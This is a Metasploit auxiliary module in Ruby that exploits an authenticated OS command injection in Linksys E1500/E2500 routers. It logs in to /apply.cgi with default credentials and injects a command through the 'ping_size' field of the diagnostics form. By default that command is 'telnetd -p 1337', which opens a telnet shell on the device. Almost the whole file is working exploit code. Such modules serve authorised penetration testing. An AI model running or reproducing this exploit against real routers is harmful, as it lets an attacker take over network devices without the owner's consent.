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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Linksys E1500/E2500 Remote Command Execution',
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        'Description' => %q{
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          Some Linksys Routers are vulnerable to an authenticated OS command injection.
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          Default credentials for the web interface are admin/admin or admin/password. Since
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          it is a blind os command injection vulnerability, there is no output for the
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          executed command. A ping command against a controlled system for can be used for
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          testing purposes.
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        },
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        'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'OSVDB', '89912' ],
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          [ 'BID', '57760' ],
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          [ 'EDB', '24475' ],
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          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
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        ],
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        'DisclosureDate' => '2013-02-05',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
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        OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
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        OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
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      ]
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    )
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  end
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  def run
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    uri = '/apply.cgi'
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    user = datastore['HttpUsername']
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    pass = datastore['HttpPassword']
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    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
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    begin
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      res = send_request_cgi({
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        'uri' => uri,
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        'method' => 'GET',
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        'authorization' => basic_auth(user, pass)
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      })
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      return if res.nil?
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      return if (res.code == 404)
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      if [200, 301, 302].include?(res.code)
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        print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
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      else
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        print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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        return
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      end
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    rescue ::Rex::ConnectionError
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      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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      return
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    end
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    print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
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    cmd = datastore['CMD']
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    # original post request:
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    # data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
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    # action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
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    vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
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    begin
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      send_request_cgi({
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        'uri' => uri,
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        'method' => 'POST',
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        'authorization' => basic_auth(user, pass),
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        'vars_post' => {
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          'submit_button' => 'Diagnostics',
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          'change_action' => 'gozila_cgi',
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          'submit_type' => 'start_ping',
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          'action' => '',
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          'commit' => '0',
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          'ping_ip' => '1.1.1.1',
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          'ping_size' => "&#{cmd}&",
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          'ping_times' => '5',
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          'traceroute_ip' => ''
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        }
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      })
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    rescue ::Rex::ConnectionError
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      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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      return
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    end
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    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
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    print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
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  end
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end
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